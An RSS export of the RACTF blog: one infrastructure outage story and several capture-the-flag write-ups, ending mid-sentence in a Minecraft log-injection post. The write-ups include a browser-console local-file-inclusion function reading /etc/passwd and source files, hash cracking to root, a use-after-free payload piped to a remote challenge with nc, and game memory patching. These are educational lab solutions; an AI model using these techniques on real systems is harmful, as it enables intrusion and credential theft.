<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[RACTF]]></title><description><![CDATA[The UK's most awesome CTF]]></description><link>https://blog.ractf.co.uk/</link><image><url>https://blog.ractf.co.uk/favicon.png</url><title>RACTF</title><link>https://blog.ractf.co.uk/</link></image><generator>Ghost 4.16</generator><lastBuildDate>Fri, 17 Apr 2026 20:39:43 GMT</lastBuildDate><atom:link href="https://blog.ractf.co.uk/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Downtime at the Worst Time]]></title><description><![CDATA[<p>Every CTF event has a few minutes of downtime as it opens, but RACTF 2021&apos;s downtime wasn&apos;t exactly conventional. Join us on a tail of duct tape engineering and how it saved the launch of RACTF 2021.</p><p><em>This post was co-written by Connor McFarlane from Inferno</em></p>]]></description><link>https://blog.ractf.co.uk/downtime-at-the-worst-time/</link><guid isPermaLink="false">61183e1df72c291da352eee3</guid><category><![CDATA[Infrastructure]]></category><category><![CDATA[RACTF 2021]]></category><dc:creator><![CDATA[Joe Banks]]></dc:creator><pubDate>Sat, 23 Aug 2025 12:55:49 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1594915440248-1e419eba6611?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fGRhdGFjZW50ZXJ8ZW58MHx8fHwxNjI4OTc4NzA4&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1594915440248-1e419eba6611?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fGRhdGFjZW50ZXJ8ZW58MHx8fHwxNjI4OTc4NzA4&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Downtime at the Worst Time"><p>Every CTF event has a few minutes of downtime as it opens, but RACTF 2021&apos;s downtime wasn&apos;t exactly conventional. Join us on a tail of duct tape engineering and how it saved the launch of RACTF 2021.</p><p><em>This post was co-written by Connor McFarlane from Inferno Communications, RACTF&apos;s infrastructure partner.</em></p><p>As I alluded to above, downtime is perfectly normal for the opening few minutes of a CTF. From infrastructure that wasn&apos;t designed to take the load to misconfigurations which aren&apos;t caught during the event preperations downtime is so common that it&apos;s on CTF bingo cards. RACTF has fallen victim to this before, at the start of RACTF 2020 we fell over a few minutes before the event started, and at the time we blamed this on an ongoing outage at our DDoS provider, Cloudflare.</p><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-4.png" class="kg-image" alt="Downtime at the Worst Time" loading="lazy" width="700" height="45" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-4.png 600w, https://blog.ractf.co.uk/content/images/2021/08/image-4.png 700w"></figure><p>Indeed, we attempted to bypass Cloudflare&apos;s proxy which only made the situation worse. Once things had calmed down we had another look at the Cloudflare outage and discovered it was completly unrelated. The outage was actually the result of the default number of workers in Nginx not being nearly high enough. Our systems couldn&apos;t keep up, not because they were too weak, but because of a configuration setting we weren&apos;t aware of at the time. Needless to say, our web server configuration recieved a thorough review after that incident.</p><p>Which, in a roundabout kind of way, brings me to RACTF 2021. For context, unlike 2020 which was run from Hetzner, RACTF 2021 was hosted from dedicated hardware hosted with Inferno Communications. This means we have a more direct responsibility for the management of the systems, but have a faster route to escalate issues.</p><p>As you can see from the monitoring graph below, everything was running well and users were getting ready to start enjoying the content we&apos;d been putting together when all of a sudden the site stoped working.</p><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image.png" class="kg-image" alt="Downtime at the Worst Time" loading="lazy" width="683" height="208" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image.png 600w, https://blog.ractf.co.uk/content/images/2021/08/image.png 683w"></figure><p>Oh no. Panic. We&apos;re 10 minutes out from everything starting and no one can compete. A lot of very loud swearing begins which is only drowned out by the sound of PagerDuty calling us to tell us we&apos;re down.</p><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-5.png" class="kg-image" alt="Downtime at the Worst Time" loading="lazy" width="460" height="284"></figure><p>At this point we immediately reach out to Connor at Inferno who starts looking into the problem. A quick inspection of looking glass dashboards from tier 1 ISPs reveals that for some reason the IP range we are running out of has become unroutable. This rapidly develops into a call to the network operations center of our upstream ISP, Hurricane Electric. After a brief tense moment of dialing we are connected and informed that the issue is their side and not ours. So we&apos;re screwed, the event is minutes from starting and we&apos;re down because of something we&apos;ve been told isn&apos;t our fault.</p><p>And then, all of a sudden, everything comes back. Even though Hurricane Electric were still looking into it, we were back up and the event could start on time. So what had happened? Well, when Connor was researching options around alternative transits, it was found to be cost prohibitive so an alternative was found. This would only need to be an emergency fallback, so what could be used instead? The free datacenter WiFi of course. That&apos;s right, for the first hour of RACTF 2021, all traffic was flowing via a BGP tunnel running on the free customer WiFi at the datacentre. Eventually, Inferno&apos;s infrastructure detected that Hurricane Electric were available again and failed the route back over to them, but a silly idea implemented as a stop gap had kept us on the air.</p><p>So what should you learn from this? An idea isn&apos;t stupid if it works. Alternatively that you should peer with more than one ISP.</p>]]></content:encoded></item><item><title><![CDATA[Writeup: I'm a fan]]></title><description><![CDATA[<h3 id="challenge-description">Challenge description</h3><p>Agent,</p><p>Do you remember the firearms store case from last year? The one they were using as a secret communication platform?</p><p>Well, we&apos;ve located the servers for them, the issue is they&apos;re based abroad in a country where we do not have any jurisdiction.</p>]]></description><link>https://blog.ractf.co.uk/writeup-im-a-fan/</link><guid isPermaLink="false">61180162f72c291da352eebc</guid><category><![CDATA[RACTF 2021]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[Linus]]></dc:creator><pubDate>Tue, 17 Aug 2021 19:50:57 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1555255707-c07966088b7b?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDExfHxyb2JvdHxlbnwwfHx8fDE2MjkxNDQyMTc&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h3 id="challenge-description">Challenge description</h3><img src="https://images.unsplash.com/photo-1555255707-c07966088b7b?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDExfHxyb2JvdHxlbnwwfHx8fDE2MjkxNDQyMTc&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Writeup: I&apos;m a fan"><p>Agent,</p><p>Do you remember the firearms store case from last year? The one they were using as a secret communication platform?</p><p>Well, we&apos;ve located the servers for them, the issue is they&apos;re based abroad in a country where we do not have any jurisdiction. Thus, we&apos;ll need to gain shell access to their systems the good old way.<br>They&apos;re hosting another webapp again, this time it seems like some early version of a social media network that they&apos;re working on. This is good for us as it means there will almost certainly be some vulnerabilities present.</p><p>We&apos;ve linked the webapp for you, can you take a look and see if you can gain access to their server?</p><h3 id="statistics">Statistics</h3><pre><code class="language-text">- Points: 350
- Solves: 4
- Votes: 100% Positive</code></pre><h3 id="solution">Solution</h3><p>When you load the instance, you see there are two ports which are of interest. The primary one which is serving a web page and another which runs an SSH server. Let&apos;s start with the web page. It&apos;s a simple collection of videos with a button to upload more, effectively there is little to see here. Trying to navigate to any path redirects to a rick roll and the upload button allows us to upload videos. Trying to upload videos or different files allows us to very quickly determine that the upload size limit is 10MB, some degree of filename sanitization is taking place server-side and we can only upload files with a <code>.webm</code> or <code>.mp4</code> extension.</p><p>What happens if we look at the resources that are being requested by the page? Not a whole lot interesting there, just a minified stylesheet and javascript for the page. The stylesheet isn&apos;t particularly interesting to us, so let&apos;s <a href="https://unminify.com/">pretty-print</a> the javascript. Anything noteworthy? No? I thought so, just plain terrible JS written by an average <a href="https://www.theolognion.com/">Olognion</a> reader. The only interesting thing I can see here is the <code>uploadContent</code> function which handles the network interaction for the upload button.</p><figure class="kg-card kg-code-card"><pre><code class="language-javascript">async function uploadContent(e) {
    let n = new FormData();
    a = e.files[0];
    n.append(&quot;file&quot;, a);
    n.append(&quot;source&quot;, &quot;external&quot;);
    const r = new AbortController();
    try {
    	...
        await fetch(&quot;/upload/content&quot;, { method: &quot;POST&quot;, body: n, signal: r.signal });
      	....
}
</code></pre><figcaption>Portion of un-minified uploadContent function</figcaption></figure><p>We can see a POST request is being made to the <code>/upload/content</code> endpoint where a form is being submitted with two parameters, one called <code>source</code> and the other <code>file</code>. <code>source</code> is set to the static value of <code>external</code> and the other parameter is set to the file we select when using the upload form. The second param makes sense, but the first param is quite odd - why would there be a <code>source</code> of upload? Is this some debug parameter left behind for testing or some odd quirk?</p><p>The most obvious value that comes to mind as a potential candidate for setting <code>source</code> to is <code>internal</code>. Many tools will allow you to send a POST request in that structure, but we will use the browser console as that&apos;s all we need. Let&apos;s start by rewriting the function. If we are trying to include an internal file, then it no longer makes sense to have <code>file</code> set to the contents of a local file. Rather let&apos;s change this to the path of the file we want to try and include. <em>I&apos;ve added some additional error handling and interaction with the snackbar so we can get a nice-looking toast notification to display the status of each request, but this is clearly optional and inspecting the contents of the network tab inside developer tools is sufficient</em>. Here&apos;s what our rewritten function looks like now:</p><pre><code class="language-javascript">async function LFI(inp){
    let fd = new FormData();
    fd.append(&quot;file&quot;, inp);
    fd.append(&quot;source&quot;, &quot;internal&quot;);
    const ctrl = new AbortController()

    try {
      displayMDCSnackbar(&quot;Uploading Video, please wait&quot;, 10000)
       let req = await fetch(&apos;/upload/content&apos;,
        {method: &quot;POST&quot;, body: fd, signal: ctrl.signal}).then(resp =&gt; resp.json()).then(data =&gt; displayMDCSnackbar(data.message, 4000));
       setTimeout(function(){location = &apos;&apos;}, 4000);
    } catch(e) {
      setTimeout(function(){location = &apos;&apos;}, 4000);
      displayMDCSnackbar(&quot;Upload Failed: &quot; + e, 4000)
    }
}</code></pre><p>Let&apos;s call our function with one of the most obvious files to test with <code>LFI(&quot;/etc/passwd&quot;);</code>. Depending on server load, the request will take up to 30 seconds to complete, but then we get a response from the server of <code>Video uploaded successfully, refreshing page in 5s</code>, this is a postive indication so let&apos;s wait for the page to refresh or do it manually. Once it&apos;s refreshed, we can see a video appears showing the contents of <code>/etc/passwd</code>!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-38.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="824" height="559" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-38.png 600w, https://blog.ractf.co.uk/content/images/2021/08/image-38.png 824w" sizes="(min-width: 720px) 720px"><figcaption>Contents of /etc/passwd</figcaption></figure><p>This is very good news, as now we can access almost any file on the system and have it&apos;s contents encoded to a video - it also adds weight to our earlier suspcions that this feature is used for testing purposes, after all it states in the brief that this is <code>some early version of a social media network that they&apos;re working on</code>. We know SSH is open on another port, so we&apos;ll try to include the SSH private keys for the user using <code>LFI(&quot;.ssh/id_rsa&quot;)</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-39.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="358" height="61"></figure><p>This doesn&apos;t work and searching for other types of keys (ed25519) yields nothing useful either. We also can&apos;t read the contents of <code>/etc/shadow</code> as the user the webserver is running on, does not have privilges to read that file. So the next step from here is to identify the webserver, by examining the response headers for our main page, we can see the server shows up as <code>gunicorn</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-40.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="351" height="136"><figcaption>Webserver the page is being served with</figcaption></figure><p><a href="https://gunicorn.org/">Gunicorn</a> is a WSGI HTTP server which is compatible with many web frameworks, it&apos;s commonly used to host Flask applications. This means there could be files on the system which could fit certain file naming conventions flask apps tend to use, such as <code>app.py</code> so let&apos;s try to include that file.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-41.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="823" height="557" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-41.png 600w, https://blog.ractf.co.uk/content/images/2021/08/image-41.png 823w" sizes="(min-width: 720px) 720px"><figcaption>Contents of app.py</figcaption></figure><p>This works and by reading the code here, we can see that one particular file path is being excluded somehow where it says <code>EXCLUDE_FILE = UPLOAD_PATH_OBJ / &quot;note.txt&quot;</code>. Here, <code>UPLOAD_PATH_OBJ</code> is clearly a Python <a href="https://docs.python.org/3/library/pathlib.html">Pathlib file object</a> with the path of <code>uploads/</code> which is having <code>note.txt</code> appended to it, giving us a full path of <code>uploads/note.txt</code> so let&apos;s try and include this file.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-42.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="1872" height="328" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-42.png 600w, https://blog.ractf.co.uk/content/images/size/w1000/2021/08/image-42.png 1000w, https://blog.ractf.co.uk/content/images/size/w1600/2021/08/image-42.png 1600w, https://blog.ractf.co.uk/content/images/2021/08/image-42.png 1872w" sizes="(min-width: 720px) 720px"><figcaption>Contents of uploads/note.txt</figcaption></figure><p>This succeeds and we can immediately see a username and two parts of a password, each hashed using <a href="https://en.wikipedia.org/wiki/Argon2">Argon2</a>. Argon2 is a key derivation function that is the winner of the <a href="https://www.password-hashing.net/">Password Hashing Competition 2015</a>, it&apos;s known for its memory intensity and comes in several variants, the one displayed here is <code>Argon2id</code>, a hybrid version which provides high resistance against fast parallel GPU cracking and side channel attacks. Its variable length hash function is built upon <a href="https://en.wikipedia.org/wiki/BLAKE_(hash_function)#BLAKE2">BLAKE2</a>. Let&apos;s start by transcribing both hashes out of the displayed video and saving them somewhere. From here we can use any tool that supports this hash type and a commonly used passwords list. Thankfully, the passwords used here are very common and you should get results very quickly despite the relatively slow hash function used here. The first hash comes out to be <code>password</code> and the second hash is <code>qwertyuiop</code>. After concatenating both parts let&apos;s attempt to login as <code>admin</code> with the password of <code>passwordqwertyuiop</code>. This succeeds and we have a shell on the system!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-44.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="567" height="186"><figcaption>Gaining initial shell on the target system</figcaption></figure><p>Now, we could try to locate any SUID/SGID binaries, but <a href="https://www.alpinelinux.org/">Alpine</a> generally tends to do a good job of dropping privilges when having SUID on a binary. So let&apos;s look for interesting files instead in the typical directories. One way we could do this is by searching for files recursively under <code>/</code> by their modification time so if anything has been modified by an user it will show up separately. Either way, quickly we can locate a file under <code>/etc</code> called <code>/etc/shadow-backup.bak</code>, by reading the contents of this file it is evident this is the shadow file for the system containing the password hashes of all users, let&apos;s try and crack the one for <code>root</code> as its the most interesting to us.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-45.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="964" height="180" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-45.png 600w, https://blog.ractf.co.uk/content/images/2021/08/image-45.png 964w" sizes="(min-width: 720px) 720px"><figcaption>Contents of /etc/shadow-backup.bak</figcaption></figure><p>The hash here is SHA-512 so plenty of tools will be able to crack it quickly: hashcat, john, etc. Choose your favourite one and throw rockyou.txt at it or use it in brute-force mode. Either way, we recover the root password quickly which is <code>ubisoft</code>. Once logged in as <code>admin</code>, switch user to <code>root</code>, head to <code>/root</code> and view the flag.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-58.png" class="kg-image" alt="Writeup: I&apos;m a fan" loading="lazy" width="422" height="123"><figcaption>Getting flag after switching user to root</figcaption></figure><p>That&apos;s all folks, thanks for reading. We hope you enjoyed the challenge!</p>]]></content:encoded></item><item><title><![CDATA[Writeup: Dodgy Databases]]></title><description><![CDATA[<h3 id="challenge-description">Challenge description</h3><p>One of our most senior engineers wrote this database code, it&apos;s super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.</p><h3 id="statistics">Statistics:</h3><pre><code>- Points: 350
- Solves: 117
- Votes: 88.4%</code></pre>]]></description><link>https://blog.ractf.co.uk/writeup-dodgy-databases/</link><guid isPermaLink="false">611ade88f72c291da352f282</guid><category><![CDATA[RACTF 2021]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[Sam Leonard (they/them)]]></dc:creator><pubDate>Mon, 16 Aug 2021 22:15:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1597852074816-d933c7d2b988?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDV8fGRhdGFiYXNlfGVufDB8fHx8MTYyOTE1MTI5Nw&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h3 id="challenge-description">Challenge description</h3><img src="https://images.unsplash.com/photo-1597852074816-d933c7d2b988?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDV8fGRhdGFiYXNlfGVufDB8fHx8MTYyOTE1MTI5Nw&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Writeup: Dodgy Databases"><p>One of our most senior engineers wrote this database code, it&apos;s super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.</p><h3 id="statistics">Statistics:</h3><pre><code>- Points: 350
- Solves: 117
- Votes: 88.4% Positive
</code></pre><h3 id="challenge-overview">Challenge overview</h3><p>The basis for this challenge is a user registration program, there is a lot of code in the actual file, though that is just to make it feel like a more &quot;enterprise&quot; piece of code / something that you might actually find in a real codebase. This is aided by the inclusion of lots of comments and docstrings for functions as well as an attempt at const correctness.</p><p>Several things were intended to stick out as feeling a bit off to the user:</p><ol><li>Role enum type with a &quot;god&quot; role.</li></ol><figure class="kg-card kg-code-card"><pre><code class="language-c">typedef enum {
	ROLE_USER,
	ROLE_ADMIN,
	ROLE_GOD = 0xBEEFCAFE,
} Role;
</code></pre><figcaption>Role enum with suspicious &quot;god&quot; role.</figcaption></figure><ol><li>User registration function.</li></ol><figure class="kg-card kg-code-card"><pre><code class="language-c">/**
 * Registers a new user in the database.
 */
void users_register_user(Users* users, const User *const admin, const User *const user) {
	if (admin-&gt;role == ROLE_ADMIN)
		users_add_user(users, user-&gt;name, ROLE_USER);
	else if (admin-&gt;role == ROLE_GOD)
		puts(FLAG);
	else
		die(&quot;[users_register_user]\tInsufficient permissions to register user, exiting.\n&quot;);
}
</code></pre><figcaption>User registration function.</figcaption></figure><ol><li>Use of admin pointer after free.</li></ol><figure class="kg-card kg-code-card"><pre><code class="language-c">// register the user
free(admin);
User* user = user_create(username);
users_register_user(users, admin, user);
</code></pre><figcaption>Use of admin pointer after free.</figcaption></figure><h3 id="intended-exploitation">Intended Exploitation</h3><p>I intended for the user to see these three things and infer that they have to use the Use-After-Free (UAF), vulnerability present in the code to set the role of the admin user to <code>ROLE_GOD</code>.</p><h3 id="explanation-of-uaf">Explanation of UAF</h3><p>The reason UAF is a problem is because of the way <code>malloc</code>/<code>free</code> work together to be as fast as possible. When an address pointing to a block of a certain size is free&apos;d, it will be put into something called a &quot;bin&quot;. These bins are essentially linked lists which store a cache of recently free&apos;d blocks so that it is very little work for the allocator to just give out one of these recently free&apos;d chunks. However if we keep a hold of the free&apos;d address, and <em>use it after it has been freed</em>, we can actually affect the data of the original variable, when the new one is accessed. This is because they are now actually the same pointer. This can be seen if we add some debugging statements to the code:</p><pre><code class="language-c">// check registered
if (!users_check_registered(users, admin, username)) {
    // register the user
    free(admin);
    User* user = user_create(username);
    printf(&quot;admin: %p\n&quot;, admin);
    printf(&quot;user:  %p\n&quot;, user);
    users_register_user(users, admin, user);
}
</code></pre><pre><code>&#x279C; ./chall
Hi, welcome to my users database.
Please enter a user to register: aaa
admin: 0x55e141e36630
user:  0x55e141e36630
</code></pre><p>As you can see above admin and user variables both point to the same block of memory, as they are the same pointer. This means that when we are creating the new user in the create_user function, we are actually reading into the admin variable. Allowing us to overwrite the admin&apos;s role and manipulate the control flow of the program.</p><h3 id="exploiting-the-uaf">Exploiting the UAF</h3><p>Now that the user knows what they have to do to solve the challenge they can start writing an exploit. To exploit the UAF the user has to provide the correct data to form a <code>User</code> struct with the role <code>ROLE_GOD</code>, this will overwrite the admin&apos;s role to <code>ROLE_GOD</code> and print the flag when we enter the registration function. This can be done by supplying <code>USERNAME_LEN</code> characters + any padding added by the compiler, then the little endian representation of <code>0xBEEFCAFE</code>. This is demonstrated below using <code>printf</code>.</p><pre><code class="language-sh">&#x279C; printf &quot;%20s\xFE\xCA\xEF\xBE\n&quot; | ./chal
Hi, welcome to my users database.
Please enter a user to register: ractf{fake_flag}
</code></pre><p>We can now do this on a remote instance to get the flag.</p><pre><code class="language-sh">&#x279C; printf &quot;%20s\xFE\xCA\xEF\xBE\n&quot; | nc 193.57.159.27 31267
Hi, welcome to my users database.
Please enter a user to register: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}
</code></pre><p>And thats the challenge! I hope you enjoyed it and maybe learnt something about Use-After-Free vulnerabilities if you hadn&apos;t seen them before!</p>]]></content:encoded></item><item><title><![CDATA[Writeup: RSFPWS: Invulnerable]]></title><description><![CDATA[<p>Welcome to my write-up of my challenge from RACTF 2021, RSFPWS: Invulnerable. &#xA0;We&apos;ll be solving this challenge today with Cheat Engine (be careful if you download it to follow along; the installer has some boxes ticked by default which probably shouldn&apos;t be).</p><p>The challenge we&</p>]]></description><link>https://blog.ractf.co.uk/write-up-rsfpws-invulnerable/</link><guid isPermaLink="false">611a991cf72c291da352f168</guid><category><![CDATA[RACTF 2021]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[Ben Griffiths]]></dc:creator><pubDate>Mon, 16 Aug 2021 21:00:00 GMT</pubDate><media:content url="https://images.unsplash.com/10/wii.jpg?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDZ8fGdhbWV8ZW58MHx8fHwxNjI5MTQzOTUy&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/10/wii.jpg?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDZ8fGdhbWV8ZW58MHx8fHwxNjI5MTQzOTUy&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Writeup: RSFPWS: Invulnerable"><p>Welcome to my write-up of my challenge from RACTF 2021, RSFPWS: Invulnerable. &#xA0;We&apos;ll be solving this challenge today with Cheat Engine (be careful if you download it to follow along; the installer has some boxes ticked by default which probably shouldn&apos;t be).</p><p>The challenge we&apos;re presented with is a Unity game which connects to a server. Presumably, going by the challenge name, we need to make ourselves invulnerable. In this writeup we&apos;re going to do this via memory editing of instructions.</p><p>Let&apos;s first start by downloading the client and connecting to the server. We&apos;re presented with the following two boxes:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-28.png" class="kg-image" alt="Writeup: RSFPWS: Invulnerable" loading="lazy" width="1920" height="1080" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-28.png 600w, https://blog.ractf.co.uk/content/images/size/w1000/2021/08/image-28.png 1000w, https://blog.ractf.co.uk/content/images/size/w1600/2021/08/image-28.png 1600w, https://blog.ractf.co.uk/content/images/2021/08/image-28.png 1920w" sizes="(min-width: 720px) 720px"><figcaption>The two boxes in-game</figcaption></figure><p>Clearly we need to figure out some way to stop the box on the right from writing to our HP value. Let&apos;s head over to cheat engine, attach to the process, and see if we can&apos;t find our Health variable. We start an exact value scan for the value 100 (We can see this in the UI), then incrementally scan for 95, 90, 85, etc. as we decrease our health by walking into the left box:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-29.png" class="kg-image" alt="Writeup: RSFPWS: Invulnerable" loading="lazy" width="1057" height="648" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-29.png 600w, https://blog.ractf.co.uk/content/images/size/w1000/2021/08/image-29.png 1000w, https://blog.ractf.co.uk/content/images/2021/08/image-29.png 1057w" sizes="(min-width: 720px) 720px"><figcaption>Finding the value in cheat engine after just two iterations</figcaption></figure><p>Double click the value to add it to the address list.</p><p>Let&apos;s attach the Cheat Engine debugger to this process and see what writes to the address. Hit F6 on the address to attach the debugger and instruct it to find which instructions write to that address. Let&apos;s enter the right box and see what gets written.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-30.png" class="kg-image" alt="Writeup: RSFPWS: Invulnerable" loading="lazy" width="578" height="431"><figcaption>The debugger captures which instructions wrote to that address</figcaption></figure><p>As we can see, the debugger captures the instructions which modify the value. Out of the two, the one we most probably want is <code>mov [rbx + 34], edi</code>, since <code>mov [rbx + 34], 064</code> looks like it just resets our health too 100 (<code>0x64</code>). Click the instruction, then &quot;Show disassembler&quot; to open it in the memory view.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-31.png" class="kg-image" alt="Writeup: RSFPWS: Invulnerable" loading="lazy" width="791" height="862" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-31.png 600w, https://blog.ractf.co.uk/content/images/2021/08/image-31.png 791w" sizes="(min-width: 720px) 720px"><figcaption>The instruction in the memory view.</figcaption></figure><p>From hear you can replace the instruction with nops, and you&apos;ve solved the challenge. Simply walk into the red box and receive the flag.</p>]]></content:encoded></item><item><title><![CDATA[Writeup: Don't Mine at Night]]></title><description><![CDATA[<h2 id="brief">Brief</h2><p>Why not try out the newest anarchy server in Minecraft (Paper 1.17.1 Latest, openjdk:16)?</p><h2 id="writeup">Writeup</h2><p><em>Note: The vulnerability in this challenge has been disclosed privately to the PaperMC team</em></p><p>The challenge provides us with a snippet of a bash script running on the server</p><pre><code>    tail --follow</code></pre>]]></description><link>https://blog.ractf.co.uk/writeup-dont-mine-at-night/</link><guid isPermaLink="false">611acf6ff72c291da352f21b</guid><category><![CDATA[RACTF 2021]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[Dave]]></dc:creator><pubDate>Mon, 16 Aug 2021 21:00:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1594845222818-9097c52dabb5?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fG1pbmVjcmFmdHxlbnwwfHx8fDE2MjkxNDcxNzU&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h2 id="brief">Brief</h2><img src="https://images.unsplash.com/photo-1594845222818-9097c52dabb5?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fG1pbmVjcmFmdHxlbnwwfHx8fDE2MjkxNDcxNzU&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Writeup: Don&apos;t Mine at Night"><p>Why not try out the newest anarchy server in Minecraft (Paper 1.17.1 Latest, openjdk:16)?</p><h2 id="writeup">Writeup</h2><p><em>Note: The vulnerability in this challenge has been disclosed privately to the PaperMC team</em></p><p>The challenge provides us with a snippet of a bash script running on the server</p><pre><code>    tail --follow /app/logs/latest.log --retry 2&gt;/dev/null | { 
        while read line; do
            echo $line | grep -P --color=none &quot;^\[\d+:\d+:\d+ INFO\]: &lt;RACTFAdmin&gt; \!exec&quot; | cut -d&apos;!&apos; -f2 | cut -d&apos; &apos; -f2- | bash --restricted &amp;
        done
        }
</code></pre><p>This is tailing a log file and looking for chat messages from the user <code>RACTFAdmin</code> starting with !exec and then running the command in a restricted bash shell.<br>The server is in offline mode, however if we try to login as the user RACTFAdmin, we find that the user is banned. Somehow, we need to get a line in the logs that makes it look like RACTFAdmin sent a chat message.</p><p>Logging on to the server we notice that join, leave, death and chat messages are disabled. The only way you can legitimately get text into the console is through running commands, however that has line breaks stripped so even executing a command like <code>/\n[00:00:00 INFO]: &lt;RACTFAdmin&gt; !exec ls</code>, the regex will not match it. Unless there&apos;s an unintended solution, there is no way with a vanilla client to get text into the console.</p><p>So we need to find another way to put text into console, the Minecraft protocol is documented at <a href="https://wiki.vg/Protocol">https://wiki.vg/Protocol</a>. Out of the list of data types, the only ones that are encoded as a string are String, Chat and Identifier, maybe some of the others like NBT could be worth looking at, but its easier to focus on these 3. An Identifier is a string of the form &quot;namespace:thing&quot;, the namespace must meet the regex <code>[a-z0-9_-]*</code>, wiki.vg says the name itself can contain more symbols but not which symbols they are.</p><p>The packets that use these datatypes are:</p><ul><li>Login start</li><li>Chat</li><li>Client settings</li><li>Tab complete</li><li>Plugin Message</li><li>Name item</li><li>Advancement tab</li><li>Update command block</li><li>Update command block minecart</li><li>Update jigsaw block</li><li>Update structure block</li><li>Update sign</li></ul><p>We can immediately rule out all the &quot;update 